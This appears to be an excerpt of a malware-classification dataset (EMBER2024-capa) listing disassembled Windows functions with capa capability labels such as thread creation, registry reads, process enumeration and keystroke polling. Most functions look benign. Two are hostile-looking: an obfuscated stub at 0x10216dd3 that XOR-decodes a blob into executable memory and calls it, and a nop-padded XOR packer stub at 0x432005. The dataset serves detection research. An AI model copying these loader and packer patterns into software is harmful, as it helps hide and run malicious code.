joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1016db50
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x14
mov esi, edx
mov ebx, ecx
mov eax, dword [0x102b0014]
xor eax, ebp
mov dword [ebp - 0x10], eax
test ecx, ecx
jne 0x1016dbaa
mov eax, dword [0x102b2030]
cmp eax, 0xffffffff
jne 0x1016db90
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push 0x102b2030
push eax
call dword [sym.imp.kernel32.dll_IsWow64Process]
test eax, eax
je 0x1016db9b
mov eax, dword [0x102b2030]
mov ebx, 0x100000
test eax, eax
jne 0x1016dbaa
jmp 0x1016dba5
mov dword [0x102b2030], 0
mov ebx, 0x80000
push 0xc
call fcn.10216dd3
add esp, 4
mov edi, eax
mov dword [eax], esi
mov eax, dword [ebp + 8]
test eax, eax
setne byte [edi + 4]
mov eax, dword [ebp + 0xc]
mov dword [edi + 8], eax
push 0
push 0x10000
push edi
push 0x1016ded0
push ebx
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
mov esi, eax
test eax, eax
je 0x1016dbf5
mov eax, dword [ebp + 8]
test eax, eax
je 0x1016dc88
mov dword [eax], esi
jmp 0x1016dc8f
mov dword [ebp - 0x20], esi
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 8
je 0x1016dca8
mov esi, eax
cmp eax, 0x5af
je 0x1016dca8
cmp esi, 0xe
je 0x1016dca8
mov eax, dword [0x102b5f50]
mov ecx, dword [0x102b3718]
mov edx, dword fs:[0x2c]
mov ecx, dword [edx + ecx*4]
cmp eax, dword [ecx + 4]
jg 0x1016dcae
lea ebx, [ebp - 0x1c]
push esi
push ebx
call fcn.1015b980
add esp, 8
movzx eax, byte [ebp - 0x11]
test al, al
jns 0x1016dc55
mov ebx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
push eax
push ebx
push dword [0x102b5f4c]
call fcn.1002a710
add esp, 0xc
cmp byte [ebp - 0x11], 0
mov esi, dword [ebp - 0x20]
jns 0x1016dc79
push dword [ebp - 0x1c]
call fcn.10205096
add esp, 4
test edi, edi
je 0x1016dc8f
push edi
call fcn.10205096
add esp, 4
jmp 0x1016dc8f
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
test esi, esi
setne bl
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10205d16
mov eax, ebx
add esp, 0x14
pop esi
pop edi
pop ebx
pop ebp
ret
push ebx
call fcn.101aba40
push 0x102b5f50
call fcn.10216dd3
add esp, 4
cmp dword [0x102b5f50], 0xffffffff
jne 0x1016dc3a
push 0x20
push str.create_thread_last_error
call fcn.1002a3d0
add esp, 8
mov dword [0x102b5f4c], eax
push 0x102b5f50
call fcn.10216dd3
add esp, 4
jmp 0x1016dc3a
Function at 0x1016ed00
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
sub esp, 0x20
mov esi, ecx
mov edi, dword [ebp + 8]
mov eax, dword [0x102b0014]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x20], 4
mov dword [ebp - 0x24], 4
mov dword [ebp - 0x28], 0
lea eax, [ebp - 0x1c]
push 0x19e
push str..._.._base_win_registry.cc
push str.ReadValue
push eax
call fcn.1014e3e0
add esp, 0x10
lea eax, [ebp - 0x24]
lea ecx, [ebp - 0x28]
lea edx, [ebp - 0x20]
push eax
push ecx
push edx
push 0
push edi
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov esi, eax
test eax, eax
jne 0x1016ed84
mov eax, dword [ebp - 0x20]
add eax, 0xfffffffd
mov esi, 0x3f4
cmp eax, 1
ja 0x1016ed84
cmp dword [ebp - 0x24], 4
jne 0x1016ed84
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 0x28]
mov dword [eax], ecx
xor esi, esi
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.10205d16
mov eax, esi
add esp, 0x20
pop esi
pop edi
pop ebp
ret 8

Function at 0x1016eda0
Capabilities:
Query environment variable
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov eax, 0x100c
call fcn.10206020
mov esi, ecx
mov eax, dword [0x102b0014]
xor eax, ebp
mov dword [ebp - 0x10], eax
lea edi, [ebp - 0x810]
push 0x800
push 0xff
push edi
call fcn.10208980
add esp, 0xc
mov dword [ebp - 0x1014], 1
mov dword [ebp - 0x1018], 0x800
lea ebx, [ebp - 0x1010]
push 0x19e
push str..._.._base_win_registry.cc
push str.ReadValue
push ebx
call fcn.1014e3e0
add esp, 0x10
lea eax, [ebp - 0x1018]
lea ecx, [ebp - 0x1014]
push eax
push edi
push ecx
push 0
push dword [ebp + 8]
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov edi, eax
test eax, eax
jne 0x1016eea8
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp - 0x1014]
cmp eax, 2
je 0x1016ee58
mov edi, 0x3f4
cmp eax, 1
jne 0x1016eea8
lea esi, [ebp - 0x810]
push esi
mov edi, ecx
call fcn.10216dd3
add esp, 4
mov ecx, edi
push eax
push esi
jmp 0x1016eea1
push 0x800
push 0xff
push ebx
call fcn.10208980
add esp, 0xc
push 0x400
push ebx
lea eax, [ebp - 0x810]
push eax
call dword [sym.imp.kernel32.dll_ExpandEnvironmentStringsW]
mov dword [ebp - 0x1018], eax
add eax, 0xffffffff
mov edi, 0xea
cmp eax, 0x3ff
ja 0x1016eea8
push ebx
call fcn.10216dd3
add esp, 4
mov ecx, dword [ebp + 0xc]
push eax
push ebx
call fcn.10141698
xor edi, edi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10205d16
mov eax, edi
add esp, 0x100c
pop esi
pop edi
pop ebx
pop ebp
ret 8
Function at 0x1016eed0
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x20
mov edi, ecx
lea esi, [ebp + 8]
mov eax, dword [0x102b0014]
xor eax, ebp
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x20]
push 0x1e2
push str..._.._base_win_registry.cc
push str.StartWatching
push eax
call fcn.1014e3e0
mov ecx, edi
add esp, 0x10
mov edi, dword [edi + 8]
test edi, edi
jne 0x1016efa0
push 0x38
mov esi, ecx
call fcn.10216dd3
add esp, 4
mov edi, eax
lea ecx, [eax + 8]
xorps xmm0, xmm0
movups xmmword [eax + 8], xmm0
movups xmmword [eax + 0x18], xmm0
movups xmmword [eax + 0x28], xmm0
mov dword [eax], 0x1025933c
mov dword [eax + 4], 0
call fcn.1016e7c0
mov dword [edi + 0x34], 0
mov ebx, dword [esi + 8]
mov dword [esi + 8], edi
test ebx, ebx
je 0x1016ef9b
mov dword [ebx], 0x1025933c
lea ecx, [ebx + 0x34]
call fcn.10145de0
lea ecx, [ebx + 8]
call fcn.1016e7f0
mov eax, dword [ebx + 4]
add eax, 1
cmp eax, 2
jb 0x1016ef8b
call fcn.1014e410
push dword [ebx + 4]
call fcn.1016f280
add esp, 4
mov dword [ebx + 4], 0
push ebx
call fcn.10205096
add esp, 4
mov ecx, esi
mov edi, dword [esi + 8]
jmp 0x1016ef9d
mov ecx, esi
lea esi, [ebp + 8]
mov dword [ebp - 0x28], esp
sub esp, 8
mov ebx, esp
mov eax, dword [esi]
mov dword [ebx + 4], eax
mov dword [esi], 0
mov ecx, dword [ecx]
mov dword [ebx], ecx
mov esi, dword [edi + 4]
lea eax, [esi + 1]
cmp eax, 1
ja 0x1016f031
mov dword [ebp - 0x24], ecx
sub esp, 0x10
movaps xmm0, xmmword [0x102650b0]
movups xmmword [esp], xmm0
call dword [sym.imp.kernel32.dll_CreateEventW]
mov esi, eax
cmp dword [edi + 4], eax
je 0x1016f02e
call dword [sym.imp.kernel32.dll_GetLastError]
mov ecx, dword [edi + 4]
add ecx, 1
cmp ecx, 2
jb 0x1016f00e
mov dword [ebp - 0x2c], eax
call fcn.1014e410
push dword [edi + 4]
call fcn.1016f280
mov eax, dword [ebp - 0x2c]
add esp, 4
mov dword [edi + 4], 0
mov ecx, esi
add ecx, 1
cmp ecx, 2
jb 0x1016f024
mov dword [edi + 4], esi
mov esi, eax
call fcn.1014e410
mov eax, esi
push eax
call dword [sym.imp.kernel32.dll_SetLastError]
mov esi, dword [edi + 4]
mov ecx, dword [ebp - 0x24]
add ebx, 4
lea eax, [esi + 1]
cmp eax, 2
jae 0x1016f070
mov dword [ebp - 0x24], 0
lea esi, [ebp + 8]
mov edi, dword [ebp - 0x28]
mov ecx, ebx
call fcn.10145de0
mov esp, edi
mov ecx, esi
call fcn.10145de0
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10205d16
mov eax, dword [ebp - 0x24]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret 4
push 1
push esi
push 0xf
push 1
push ecx
call dword [sym.imp.ADVAPI32.dll_RegNotifyChangeKeyValue]
test eax, eax
je 0x1016f0a6
mov eax, dword [edi + 4]
add eax, 1
cmp eax, 2
jb 0x1016f03c
call fcn.1014e410
push dword [edi + 4]
call fcn.1016f280
add esp, 4
mov dword [edi + 4], 0
jmp 0x1016f03c
lea ecx, [edi + 0x34]
push ebx
call fcn.10145d70
lea esi, [edi + 8]
push 0x5e
push str..._.._base_win_registry.cc
push str.StartWatching
lea eax, [ebp - 0x20]
push eax
call fcn.1014e3e0
add esp, 0x10
mov ecx, esi
lea eax, [ebp - 0x20]
push eax
push 1
push edi
push dword [edi + 4]
call fcn.1016e8d0
mov dword [ebp - 0x24], eax
jmp 0x1016f043
Function at 0x10170090
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
and esp, 0xfffffff0
sub esp, 0x160
mov eax, dword [0x102b0014]
xor eax, ebp
mov dword [esp + 0x15c], eax
lea eax, [esp + 0x44]
push 0x118
push 0
push eax
call fcn.10208980
add esp, 0xc
mov dword [esp + 0x40], 0x11c
lea eax, [esp + 0x40]
push eax
call dword [sym.imp.kernel32.dll_GetVersionExW]
mov dword [esp + 0xc], 0
lea eax, [esp + 0xc]
push eax
push 0
push 0
push dword [esp + 0x54]
push dword [esp + 0x54]
call dword [sym.imp.kernel32.dll_GetProductInfo]
push 0x54
call fcn.10216dd3
add esp, 4
mov esi, eax
mov edi, dword [esp + 0xc]
mov eax, dword [0x102b5ff4]
mov ecx, dword [0x102b3718]
mov edx, dword fs:[0x2c]
mov ecx, dword [edx + ecx*4]
cmp eax, dword [ecx + 4]
jg 0x10170145
lea edx, [esp + 0x40]
mov ecx, esi
push edi
call fcn.101704a0
add esp, 4
mov ecx, dword [esp + 0x15c]
xor ecx, ebp
call fcn.10205d16
mov eax, esi
lea esp, [ebp - 8]
pop esi
pop edi
pop ebp
ret
push 0x102b5ff4
call fcn.10216dd3
add esp, 4
cmp dword [0x102b5ff4], 0xffffffff
jne 0x1017011f
xorps xmm0, xmm0
movaps xmmword [esp + 0x20], xmm0
movaps xmmword [esp + 0x10], xmm0
mov dword [esp + 0x30], 0
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.kernel32.dll_GetNativeSystemInfo]
mov eax, dword [esp + 0x30]
mov dword [0x102b5ff0], eax
movaps xmm0, xmmword [esp + 0x10]
movaps xmm1, xmmword [esp + 0x20]
movups xmmword [0x102b5fe0], xmm1
movups xmmword [0x102b5fd0], xmm0
push 0x102b5ff4
call fcn.10216dd3
add esp, 4
jmp 0x1017011f
Function at 0x10170270
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
and esp, 0xfffffff0
sub esp, 0x160
mov eax, dword [0x102b0014]
xor eax, ebp
mov dword [esp + 0x15c], eax
push str.ntdll.dll
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
test eax, eax
je 0x101703b3
push str.RtlGetVersion
push eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
test eax, eax
je 0x101703b3
mov esi, eax
lea eax, [esp + 0x44]
push 0x118
push 0
push eax
call fcn.10208980
add esp, 0xc
mov dword [esp + 0x40], 0x11c
lea eax, [esp + 0x40]
push eax
call esi
mov dword [esp + 0xc], 0
lea eax, [esp + 0xc]
push eax
push 0
push 0
push dword [esp + 0x54]
push dword [esp + 0x54]
call dword [sym.imp.kernel32.dll_GetProductInfo]
push 0x54
call fcn.10216dd3
add esp, 4
mov esi, eax
mov edi, dword [esp + 0xc]
mov eax, dword [0x102b5ff4]
mov ecx, dword [0x102b3718]
mov edx, dword fs:[0x2c]
mov ecx, dword [edx + ecx*4]
cmp eax, dword [ecx + 4]
jg 0x1017034a
lea edx, [esp + 0x40]
mov ecx, esi
push edi
call fcn.101704a0
add esp, 4
mov ecx, dword [esp + 0x15c]
xor ecx, ebp
call fcn.10205d16
mov eax, esi
lea esp, [ebp - 8]
pop esi
pop edi
pop ebp
ret
push 0x102b5ff4
call fcn.10216dd3
add esp, 4
cmp dword [0x102b5ff4], 0xffffffff
jne 0x10170324
xorps xmm0, xmm0
movaps xmmword [esp + 0x20], xmm0
movaps xmmword [esp + 0x10], xmm0
mov dword [esp + 0x30], 0
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.kernel32.dll_GetNativeSystemInfo]
mov eax, dword [esp + 0x30]
mov dword [0x102b5ff0], eax
movaps xmm0, xmmword [esp + 0x10]
movaps xmm1, xmmword [esp + 0x20]
movups xmmword [0x102b5fe0], xmm1
movups xmmword [0x102b5fd0], xmm0
push 0x102b5ff4
call fcn.10216dd3
add esp, 4
jmp 0x10170324
int3

Function at 0x101703c0
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push esi
and esp, 0xfffffff0
sub esp, 0x40
mov eax, dword [0x102b0014]
xor eax, ebp
mov dword [esp + 0x30], eax
mov eax, dword [0x102b5ff4]
mov ecx, dword [0x102b3718]
mov edx, dword fs:[0x2c]
mov ecx, dword [edx + ecx*4]
cmp eax, dword [ecx + 4]
jg 0x1017043b
movzx eax, word [0x102b5fd0]
cmp eax, 0xc
ja case.0x10170400.1
xor esi, esi
jmp dword [eax*4 + 0x102652b0]
mov esi, 3
jmp case.0x10170400.0
mov esi, 5
jmp case.0x10170400.0
mov esi, 2
jmp case.0x10170400.0
mov esi, 1
jmp case.0x10170400.0
mov esi, 4
mov ecx, dword [esp + 0x30]
xor ecx, ebp
call fcn.10205d16
mov eax, esi
lea esp, [ebp - 4]
pop esi
pop ebp
ret
push 0x102b5ff4
call fcn.10216dd3
add esp, 4
cmp dword [0x102b5ff4], 0xffffffff
jne 0x101703f2
xorps xmm0, xmm0
movaps xmmword [esp + 0x10], xmm0
movaps xmmword [esp], xmm0
mov dword [esp + 0x20], 0
mov eax, esp
push eax
call dword [sym.imp.kernel32.dll_GetNativeSystemInfo]
mov eax, dword [esp + 0x20]
mov dword [0x102b5ff0], eax
movaps xmm0, xmmword [esp]
movaps xmm1, xmmword [esp + 0x10]
movups xmmword [0x102b5fe0], xmm1
movups xmmword [0x102b5fd0], xmm0
push 0x102b5ff4
call fcn.10216dd3
add esp, 4
jmp 0x101703f2
Function at 0x101a1290
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x102b9104]
mov ecx, dword [0x102b3718]
mov edx, dword fs:[0x2c]
mov ecx, dword [edx + ecx*4]
cmp eax, dword [ecx + 4]
jg 0x101a12bb
mov ecx, 0x102b9088
pop ebp
jmp fcn.101a55a0
push 0x102b9104
call fcn.10216dd3
add esp, 4
cmp dword [0x102b9104], 0xffffffff
jne 0x101a12b0
mov ecx, 0x102b9088
call fcn.101a54b0
push 0x102b9104
call fcn.10216dd3
add esp, 4
jmp 0x101a12b0

Function at 0x101a13c0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x102b9104]
mov ecx, dword [0x102b3718]
mov edx, dword fs:[0x2c]
mov ecx, dword [edx + ecx*4]
cmp eax, dword [ecx + 4]
jg 0x101a13eb
mov ecx, 0x102b9088
pop ebp
jmp fcn.101a6db0
push 0x102b9104
call fcn.10216dd3
add esp, 4
cmp dword [0x102b9104], 0xffffffff
jne 0x101a13e0
mov ecx, 0x102b9088
call fcn.101a54b0
push 0x102b9104
call fcn.10216dd3
add esp, 4
jmp 0x101a13e0

Function at 0x101a1710
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov esi, ecx
mov ebx, dword [0x102b910c]
call dword [sym.imp.kernel32.dll_GetLastError]
mov edi, eax
push ebx
call dword [sym.imp.kernel32.dll_TlsGetValue]
mov ebx, eax
test edi, edi
jne 0x101a17f1
xor edi, edi
cmp ebx, 1
je 0x101a17e8
mov eax, dword [esi + 0x11a0]
test eax, eax
jne 0x101a17e8
mov eax, 1
lock xadd dword [esi + 0x11a0], eax
cmp eax, 0x7fffffff
je 0x101a1851
movzx ebx, word [ebp + 8]
push esi
call fcn.101a31b0
add esp, 4
lock sub dword [esi + 0x11a0], 1
mov esi, eax
add dword [eax + 0x310], 1
adc dword [eax + 0x314], 0
cmp bx, 0x31
jae 0x101a17fd
movzx ebx, bx
cmp dword [esi + ebx*8], 0
je 0x101a181b
add dword [esi + 0x318], 1
adc dword [esi + 0x31c], 0
mov eax, dword [esi + ebx*8]
mov ecx, dword [eax]
test ecx, ecx
je 0x101a17c7
mov edx, ecx
not edx
cmp dword [eax + 4], edx
jne 0x101a184c
bswap ecx
prefetcht0 byte [ecx]
jmp 0x101a17c9
bswap ecx
add byte [esi + ebx*8 + 4], 0xff
mov edx, dword [ebp + 0xc]
mov dword [esi + ebx*8], ecx
movzx ecx, word [esi + ebx*8 + 6]
mov dword [edx], ecx
movzx ecx, word [esi + ebx*8 + 6]
sub dword [esi + 0x308], ecx
mov edi, eax
mov eax, edi
pop esi
pop edi
pop ebx
pop ebp
ret 8
push edi
call dword [sym.imp.kernel32.dll_SetLastError]
jmp 0x101a1737
add dword [esi + 0x330], 1
adc dword [esi + 0x334], 0
add dword [esi + 0x320], 1
adc dword [esi + 0x324], 0
jmp 0x101a17e8
add dword [esi + 0x328], 1
adc dword [esi + 0x32c], 0
add dword [esi + 0x320], 1
adc dword [esi + 0x324], 0
mov ecx, esi
push ebx
call fcn.101a3420
mov eax, dword [esi + ebx*8]
test eax, eax
jne 0x101a17ad
jmp 0x101a17e8
call fcn.1002c4d0
int3
Function at 0x101b0d10
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
mov esi, ecx
lea edi, [ecx + 0xc]
lea eax, [ecx + 0x10]
push 0x228
push 0
push eax
call fcn.10208980
add esp, 0xc
mov dword [esi + 0xc], 0x22c
cmp byte [esi + 8], 0
je 0x101b0d45
push edi
push dword [esi + 4]
call sub.kernel32.dll_Process32NextW
jmp 0x101b0d52
mov byte [esi + 8], 1
push edi
push dword [esi + 4]
call sub.kernel32.dll_Process32FirstW
test eax, eax
setne al
pop esi
pop edi
pop ebp
ret

Function at 0x101b3190
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x102ba3a8]
mov ecx, dword [0x102b3718]
mov edx, dword fs:[0x2c]
mov ecx, dword [edx + ecx*4]
cmp eax, dword [ecx + 4]
jg 0x101b31bb
mov ecx, 0x102ba3a0
pop ebp
jmp fcn.10162050
push 0x102ba3a8
call fcn.10216dd3
add esp, 4
cmp dword [0x102ba3a8], 0xffffffff
jne 0x101b31b0
mov dword [0x102ba3a4], 0
mov dword [0x102ba3a0], 0
mov ecx, 0x102ba3a0
push 0
call fcn.101620c0
push 0x102ba3a8
call fcn.10216dd3
add esp, 4
jmp 0x101b31b0
Function at 0x101f22f0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x102c4730]
mov ecx, dword [0x102b3718]
mov edx, dword fs:[0x2c]
mov ecx, dword [edx + ecx*4]
cmp eax, dword [ecx + 4]
jg 0x101f231b
mov ecx, 0x102c4728
pop ebp
jmp fcn.10162050
push 0x102c4730
call fcn.10216dd3
add esp, 4
cmp dword [0x102c4730], 0xffffffff
jne 0x101f2310
mov dword [0x102c472c], 0
mov dword [0x102c4728], 0
mov ecx, 0x102c4728
push 0
call fcn.101620c0
push 0x102c4730
call fcn.10216dd3
add esp, 4
jmp 0x101f2310
Function at 0x101fd1c0
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 8
mov ebx, dword [sym.imp.USER32.dll_GetKeyState]
push 0x10
call ebx
mov esi, eax
shr esi, 0xe
and esi, 2
push 0xa5
call ebx
test ax, ax
jns 0x101fd1f5
call fcn.101dd9de
test al, al
je 0x101fd1f5
or esi, 0x20
jmp 0x101fd20f
push 0x11
call ebx
lea edi, [esi + 4]
test ax, ax
cmovns edi, esi
push 0x12
call ebx
lea esi, [edi + 8]
test ax, ax
cmovns esi, edi
call fcn.102038b0
mov edi, esi
or edi, 0x10
test al, al
cmove edi, esi
push 0x90
call ebx
shl eax, 7
mov esi, ebx
movzx ebx, al
or ebx, edi
push 0x14
call esi
mov ecx, esi
mov esi, eax
and esi, 1
shl esi, 8
or esi, ebx
push 0x91
call ecx
and eax, 1
shl eax, 9
or eax, esi
mov edi, dword [ebp + 8]
mov edx, dword [edi + 4]
lea ecx, [edx - 0x100]
cmp ecx, 6
ja 0x101fd272
cmp ecx, 3
je 0x101fd272
mov ecx, dword [edi + 0xc]
shr ecx, 6
and ecx, 0x40000
or eax, ecx
mov ecx, edx
and ecx, 0xfffffffd
cmp ecx, 0x2a1
sete bh
lea esi, [edx - 0x200]
cmp esi, 0xf
setb bl
or bl, bh
cmp bl, 1
jne 0x101fd2b4
mov esi, dword [edi + 8]
mov dword [ebp - 0x10], esi
shr esi, 1
mov edi, esi
and edi, 2
or edi, eax
and esi, 4
or esi, edi
lea eax, [edx - 0xa0]
mov dword [ebp - 0x14], eax
mov eax, esi
jmp 0x101fd2d5
lea esi, [edx - 0xa0]
cmp ecx, 0x2a0
je 0x101fd2cb
cmp esi, 0xd
ja 0x101fd354
mov dword [ebp - 0x14], esi
movzx esi, word [edi + 8]
mov dword [ebp - 0x10], esi
xor esi, esi
inc esi
lea edi, [edx - 0xa1]
cmp edi, 0xc
ja case.default.0x101fd2e3
jmp dword [edi*4 + 0x102a6f5c]
add edx, 0xfffffdff
cmp edx, 0xc
ja case.0x101fd2f5.522
jmp dword [edx*4 + 0x102a6f90]
mov esi, 2
jmp case.0x101fd2f5.513
mov esi, 0x10
jmp case.0x101fd2f5.513
mov esi, 0x20
xor edx, edx
test bl, bl
movzx edi, word [ebp - 0x10]
cmovne edx, edi
or edx, esi
mov esi, edx
and esi, 1
shl esi, 0xa
mov edi, edx
and edi, 0x10
shl edi, 7
and edx, 2
shl edx, 0xb
cmp ecx, 0x2a0
sete cl
cmp dword [ebp - 0x14], 0xe
setb ch
or ch, cl
movzx ecx, ch
shl ecx, 0x11
or ecx, eax
or edi, esi
or edi, edx
or edi, ecx
mov eax, edi
add esp, 8
pop esi
pop edi
pop ebx
pop ebp
ret
xor esi, esi
jmp case.0x101fd2f5.513

Function at 0x10201830
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
mov eax, dword [0x102c47e0]
mov ecx, dword [0x102b3718]
mov edx, dword fs:[0x2c]
mov ecx, dword [edx + ecx*4]
cmp eax, dword [ecx + 4]
jg 0x102018a3
mov ecx, 0x102c47d8
call fcn.10162050
test eax, eax
jne 0x10201896
push 4
call fcn.10216dd3
add esp, 4
mov edi, eax
mov dword [eax], 0
mov ecx, 0x102c47d8
call fcn.10162050
mov esi, eax
mov ecx, 0x102c47d8
push edi
call fcn.10162080
test esi, esi
je 0x10201896
push esi
call fcn.10205096
add esp, 4
mov ecx, 0x102c47d8
pop esi
pop edi
pop ebp
jmp fcn.10162050
push 0x102c47e0
call fcn.10216dd3
add esp, 4
cmp dword [0x102c47e0], 0xffffffff
jne 0x10201852
mov dword [0x102c47dc], 0
mov dword [0x102c47d8], 0
mov ecx, 0x102c47d8
push 0x10037bc0
call fcn.101620c0
push 0x102c47e0
call fcn.10216dd3
add esp, 4
jmp 0x10201852
Function at 0x10216dd3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x10216de2
pop dword [ebp - 0xc]
mov eax, 0x7cbb34c5
add eax, 0x9366391d
sub dword [ebp - 0xc], eax
push 0x40
push 0x1000
push 0x48b83
push 0
mov eax, 0x3005d68c
sub eax, 0x1fdb11c8
add eax, dword [ebp - 0xc]
call dword [eax]
mov ecx, 0xc63c52af
add ecx, 0x39c3e7a9
mov ebx, eax
mov esi, 0x102dda00
add esi, dword [ebp - 0xc]
mov edx, 0x615c0e4f
sub edx, 0x3fafb644
xor dword [ebp - 4], ecx
mov edi, dword [esi]
sub dword [ebp - 4], 0x6b228f36
xor edi, edx
mov dword [ebp - 8], 0xa4f47239
mov dword [ebx], edi
xor dword [ebp - 4], 0xbdbc7e15
add ebx, 4
add esi, 0xd9d7ffc0
sub esi, 0xd9d7ffbc
loop 0x10216e3b
add eax, 0x5ce29f4e
sub eax, 0x5ce1c31b
xor ebx, ebx
add ebx, eax
add eax, 0x77b39de7
add eax, 0x884c621e
mov ecx, 0xca357f01
sub ecx, 0xba357f01
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x1003d230
Capabilities:
Load windows common language runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003e637
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x1006e024]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 0
mov byte [ebp - 4], 1
lea eax, [ebp + 8]
cmp dword [ebp + 0x1c], 8
push 4
cmovae eax, dword [ebp + 8]
push 0x10044884
push eax
call fcn.10008698
add esp, 0xc
test eax, eax
setns bl
push 0x10044890
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edi, eax
test edi, edi
jne 0x1003d2d9
lea edx, [eax + 0x72]
push eax
test bl, bl
je 0x1003d2c0
push 0x8c
lea ecx, [edx + 0x19]
call fcn.1003c090
add esp, 8
mov esi, 0x80004005
jmp 0x1003d393
push 0x73
mov ecx, 0x71
call fcn.1003c090
add esp, 8
mov esi, 0x80004005
jmp 0x1003d393
push str.CLRCreateInstance
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
jne 0x1003d318
test bl, bl
je 0x1003d30e
push eax
mov edx, 0x8d
push 0x8c
mov ecx, 0x8b
call fcn.1003c090
add esp, 8
mov esi, 0x80004005
jmp 0x1003d38c
mov ecx, dword [ebp - 0x14]
call fcn.1003cfa0
jmp 0x1003d38a
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x1003d325
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0
push eax
push 0x10044cec
push 0x10044cfc
call esi
test eax, eax
jns 0x1003d34c
test bl, bl
je 0x1003d30e
push eax
mov edx, 0x8e
jmp 0x1003d2f5
sub esp, 0x18
mov ecx, esp
mov dword [ecx + 0x14], 7
mov dword [ecx + 0x10], 0
cmp dword [ecx + 0x14], 8
jb 0x1003d369
mov eax, dword [ecx]
jmp 0x1003d36b
mov eax, ecx
xor edx, edx
push 0xffffffffffffffff
mov word [eax], dx
lea eax, [ebp + 8]
push edx
push eax
call fcn.10001a20
mov edx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x10]
call fcn.1003d100
add esp, 0x18
mov esi, eax
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov byte [ebp - 4], 0
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x1003d3a4
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp + 0x1c]
cmp eax, 8
jb 0x1003d3b6
inc eax
push eax
push dword [ebp + 8]
call fcn.100011f0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1003dcf0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1003dd03
test al, 0x10
jne 0x1003dd03
mov al, 1
ret
xor al, al
ret

Function at 0x432005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
call 0x43200c
nop
nop
nop
nop
pop eax
nop
add eax, 0x40729f
nop
sub eax, 0x407245
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x432030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43201e
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219